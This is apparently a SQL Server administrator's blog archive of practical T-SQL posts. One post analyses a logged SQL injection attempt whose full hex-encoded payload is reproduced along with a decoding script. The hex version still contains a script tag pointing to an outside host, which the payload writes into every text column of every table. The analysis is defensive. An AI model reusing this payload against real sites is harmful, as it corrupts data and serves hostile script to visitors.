SQL : Data Search Script - Version 3

version 3 :

1) copes with schemas other than dbo!
2) restrict to tables only (was doing views!)
3) nolock table hint added
4) uniqueidentifier added to data types searched

/*
version 3 :    1) copes with schemas other than dbo!
        2) restrict to tables only (was doing views!)
        3) nolock table hint added
        4) uniqueidentifier added to data types searched

*/
declare @columncount int
declare @searchdata varchar(255)
-- set string to search for here
set @searchdata = 'searchstring'

select @columncount = count(*) from information_schema.columns
 where data_type in ('ntext','smallint','int','char', 'varchar', 'nvchar', 'nvarchar','uniqueidentifier')
 and table_name not like 'sync%'
 and column_name <> 'order'
 and table_name in (select name from sys.sysobjects where type = 'u')
select 'declare @resultslist varchar(max)' + char(10) + 'set @resultslist = '''''
union
select 'if exists (select 1 from [' +
 table_schema + '].[' + table_name +
 '] with (nolock) where [' +
 column_name  + '] like ''%' + @searchdata + '%'' ) ' + char(10) +
 ' begin ' + char(10) +
 '  set @resultslist = @resultslist + char(10) + ''select [' + column_name + '],* from ['+ table_schema + '].[' + table_name + '] with (nolock) where [' + column_name + '] like ''''%' + @searchdata + '%'''''''+ char(10) +
 '  print ''' + table_schema + '.' + table_name  + '/' +column_name  + '''' + char(10) +
 ' end ' + char(10) +
 '' + char(10) +
 ' print ''' + cast(cast(cast(rank() OVER (ORDER BY table_schema, table_name, column_name) as float)/ @columncount *100 as decimal(10,2)) as varchar(10))+ '%' +
 '''' + char(10)
from  information_schema.columns with (nolock)
where data_type in ('ntext','smallint','int','char', 'varchar', 'nvchar', 'nvarchar','uniqueidentifier')
and table_name not like 'sync%'
and column_name <> 'order'
and table_name in (select name from sys.sysobjects with (nolock) where type = 'u')
union
select 'print @resultslist' + char(10) + 'go'

"Log on as a Service" Right (adding locally)

1) Launch the 'local Security Policy' console

Start Menu > Administrative Tools > Local Security Policy.


2) Expand the tree as follows >

Security Settings > Local Policies > User Rights Assignment

Double click 'Log on as a service' & add service accounts to give them permission.

SQL 2008 : Information

A small rant, but informative all the same...

http://www.brentozar.com/archive/2008/07/sql-server-2008-sucks/

Highlights (or should that be lowlights) are >
Lack of backwards compatibility for IntelliSense (only works when connecting to 2008 instances)
Several new features appearing in Enterprise Edition upwards (not Standard Edition)

No GUI for new encryption functionality, STILL no GUI for partitioning functionality.

A SQL Injection attempt

I have email alerts configured on my websites for 404s and Injection attempts.
Ocasionally I review the folder of these mails and it struck me there had been quite a lot of injection attempts recently.

This attempt from a russian IP address in the early hours of the morning (captured by my detection script) -

PATH_INFO /injectionattempt.asp
PATH_TRANSLATED e:\domains\d\domain.co.uk\user\htdocs\injectionattempt.asp
QUERY_STRING page=index;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C4043205
64152434841522832353529204445434C415245205461626C655F437572736F72204355
52534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207
379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E6964
3D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3
939204F5220622E78747970653D3335204F5220622E78747970653D323331204F522062
2E78747970653D31363729204F50454E205461626C655F437572736F722046455443482
04E4558542046524F4D205461626C655F437572736F7220494E544F2040542C40432057
48494C4528404046455443485F5354415455533D302920424547494E204558454328275
55044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D2843
4F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C7
36372697074207372633D687474703A2F2F7777772E356B63332E72752F6E67672E6A73
3E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C6
55F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F
437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20
AS%20VARCHAR(4000));EXEC(@S);--


Clearly an injection attack, but what does it attempt to do?
To discover this, we need to decode the Hex string hidden inside the CAST statement.
The following TSQL does this -

DECLARE  @Hex_String VARCHAR(MAX)
DECLARE  @DSql NVARCHAR(MAX)
DECLARE  @ASCII_Message VARCHAR(MAX)                        

SELECT @Hex_String = '0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E356B63332E72752F6E67672E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220'
SELECT @DSql = 'SELECT @ASCII_Message = CONVERT(VARCHAR(MAX), ' + @Hex_String + ')'
EXEC SP_EXECUTESQL  @DSql ,  N'@ASCII_Message NVARCHAR(MAX) OUTPUT' ,  @ASCII_Message OUTPUT  
SELECT @ASCII_Message

This provides the following TSQL -

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 

which formatted correctly, looks like this -

DECLARE  @T VARCHAR(255),         
     @C VARCHAR(255)

DECLARE TABLE_CURSOR CURSOR  FOR 
SELECT A.NAME,       
    B.NAME
FROM   SYSOBJECTS A,       
    SYSCOLUMNS B
WHERE  A.ID = B.ID       
   AND A.XTYPE = 'u'       
   AND (B.XTYPE = 99             
   OR B.XTYPE = 35             
   OR B.XTYPE = 231             
   OR B.XTYPE = 167)

OPEN TABLE_CURSOR
FETCH NEXT FROM TABLE_CURSOR INTO @T, @C
WHILE (@@FETCH_STATUS = 0)  
 BEGIN    
 EXEC( 'UPDATE [' + @T + '] SET [' + @C + ']=RTRIM(CONVERT(VARCHAR(4000),[' + @C + ']))+''''')        
 FETCH NEXT FROM TABLE_CURSOR INTO @T, @C  
 END
CLOSE TABLE_CURSOR
DEALLOCATE TABLE_CURSOR

Rather bizarrely the code uses a cursor to loop every column in every table, setting it to itself.
Well, itself trimmed to 4000 characters.
I imagine it would depend on an individual db as to how much damage it would do, but i'm glad it didnt run all the same. It attempts to reference a script at www.5kc3.ru (i have removed this and the surrounding script tags from this post) but i dont see how it would execute javascript from within sql!

Loop All User Tables

Useful for systems functions & reporting -

-- loop tables
SET NOCOUNT ON
DECLARE  @CurrentRow INT
DECLARE  @TotalRows INT

DECLARE  @TableName NVARCHAR(255)   
DECLARE  @SchemaName NVARCHAR(255)   
                
SELECT @CurrentRow = 1
               
DECLARE  @Tables  
TABLE(uniquerowid  INT   IDENTITY ( 1,1 )   PRIMARY KEY   NOT NULL
   ,schemaname NVARCHAR(255)
   ,tablename NVARCHAR(255))
   
INSERT INTO @Tables (schemaname,tablename)
SELECT sys.schemas.name,sys.tables.name
FROM sys.tables
inner join sys.schemas
on sys.tables.schema_id = sys.schemas.schema_id
order by 1,2

               
SELECT @TotalRows = COUNT(* )
FROM @Tables
 
WHILE @CurrentRow <= @TotalRows  
BEGIN    
 SELECT @schemaname = schemaname, @tableName = tablename      
 FROM @Tables     
 WHERE UNIQUEROWID = @CurrentRow         
 PRINT @schemaname + '.' + @tablename         
 SELECT @CurrentRow = @CurrentRow + 1  
END

SQL 2008 Features to look forward to....

summed up nicely here >

http://www.angryhacker.com/blog/archive/2008/06/20/10-reasons-why-sql-server-2008-is-going-to-rock.aspx

OVER Clause in SQL 2005

Converting some reports to SQL2005, I initially forgot the OVER clause can be used aith aggregate functions (had previously only used with RANK).
Saves using multiple joins and GROUP BY record sets >

SELECT   [Name] StateName
  ,[City]
  ,COUNT([Name]) OVER (PARTITION BY [City], [Name]) AS CityTotal
  ,COUNT([Name]) OVER (PARTITION BY [Name]) AS StateTotal
  ,COUNT([Name]) OVER (PARTITION BY [City], [Name]) / CONVERT(FLOAT,COUNT([Name]) OVER (PARTITION BY [Name])) * 100.0 AS PercentOfState
FROM Person.Address a
INNER JOIN Person.StateProvince s
 ON a.StateProvinceID = s.StateProvinceID

Temporary Tables - Checking for existence

Checking for the existance of temporary tables...

IF EXISTS (SELECT * FROM tempdb..sysobjects WHERE name LIKE '#tblDateList%')
   DROP TABLE #tblDateList
 
CREATE TABLE #tblDateList
   ( [Date] DATETIME NOT NULL,
     CONSTRAINT [PK_#tblDateList] PRIMARY KEY CLUSTERED ([Date] ASC) 
   ) ON [PRIMARY]

Developer Permissions on SQL Agent Jobs

I wanted to grant developers permission to see SQL Agent jobs, but not to mess with them...

USE msdb;
GO
EXECUTE sp_addrolemember @rolename = 'role', @membername = 'username'
GO

Where role is -

SQLAgentReaderRole - allows users to see all jobs
SQLAgentUserRole - allows users to create jobs and to manage the jobs that they create.
SQLAgentOperatorRole - allows users all of the rights assigned to the SQLAgentReaderRole along with the permissions necessary to execute local jobs that they do not own.

SQL Server Security Vulnerability

4 security patches from MS were released yesterday...

SQL Server Security Update >

MS08-040 : SQL (patch to prevent elevation of privileges)
http://www.microsoft.com/technet/security/bulletin/ms08-040.mspx


The others >

MS08-037 : DNS (vista unaffected). All vendors (red Hat, Sun etc) released DNS patches yesterday.
http://www.microsoft.com/technet/security/bulletin/ms08-037.mspx

MS08-038 : Windows Explorer (remote code execution)  
http://www.microsoft.com/technet/security/bulletin/ms08-038.mspx

MS08-039 : Exchange    
http://www.microsoft.com/technet/security/bulletin/ms08-039.mspx

More @ http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9107838&pageNumber=1

SQL Server Query Plan Caching

What is in the SQL Server Query Plan Cache ?

SQL 2000

SELECT * FROM syscacheobjects 

SQL 2005+

SELECT * FROM SYS.DM_EXEC_CACHED_PLANS 

Summing it up (SQL 2005+)

SELECT
OBJTYPE AS Object_Type,
COUNT(*) as Plan_Count,
SUM(CAST(SIZE_IN_BYTES AS BIGINT))/1024/1024 AS Size_MB,
AVG(usecounts) as Average_Use_Count
FROM
SYS.DM_EXEC_CACHED_PLANS
GROUP BY
OBJTYPE

How do I clear those caches?
(CAREFUL! Don't use on production servers!)

-- drop cached data
DBCC DROPCLEANBUFFERS

-- clear procedure cache
DBCC FREEPROCCACHE   

-- only clear plans for adhoc sql
DBCC FREESYSTEMCACHE('SQL Plans')

Brilliant article on plans here >

http://sqlblogcasts.com/blogs/maciej/archive/2008/09/21/clearing-your-ad-hoc-sql-plans-while-keeping-your-sp-plans-intact.aspx

also - SQL Handle and Plan handle explained

Object Schema Ownership

Detect which objects are owned by sql logins -

SELECT * FROM database.INFORMATION_SCHEMA.SCHEMATA
WHERE SCHEMA_OWNER IN (SELECT NAME FROM MASTER.DBO.SYSLOGINS)
GO
USE database;
ALTER AUTHORIZATION ON SCHEMA::db_owner TO dbo;
GO

TSQL : Tables without Non Clustered Indexes

Some simple queries to quickly reveal tables where no non clustered indexes have been created.

SQL 2005+

SELECT SCHEMA_NAME(schema_id) ,name
FROM sys.tables
WHERE OBJECTPROPERTY(OBJECT_ID,'TableHasNonClustIndex') = 0
ORDER BY 1, 2

SQL 2000

SELECT name
FROM sysobjects
WHERE type = 'U'
AND id NOT IN (SELECT id
 FROM sysindexes  
 WHERE indid > 1)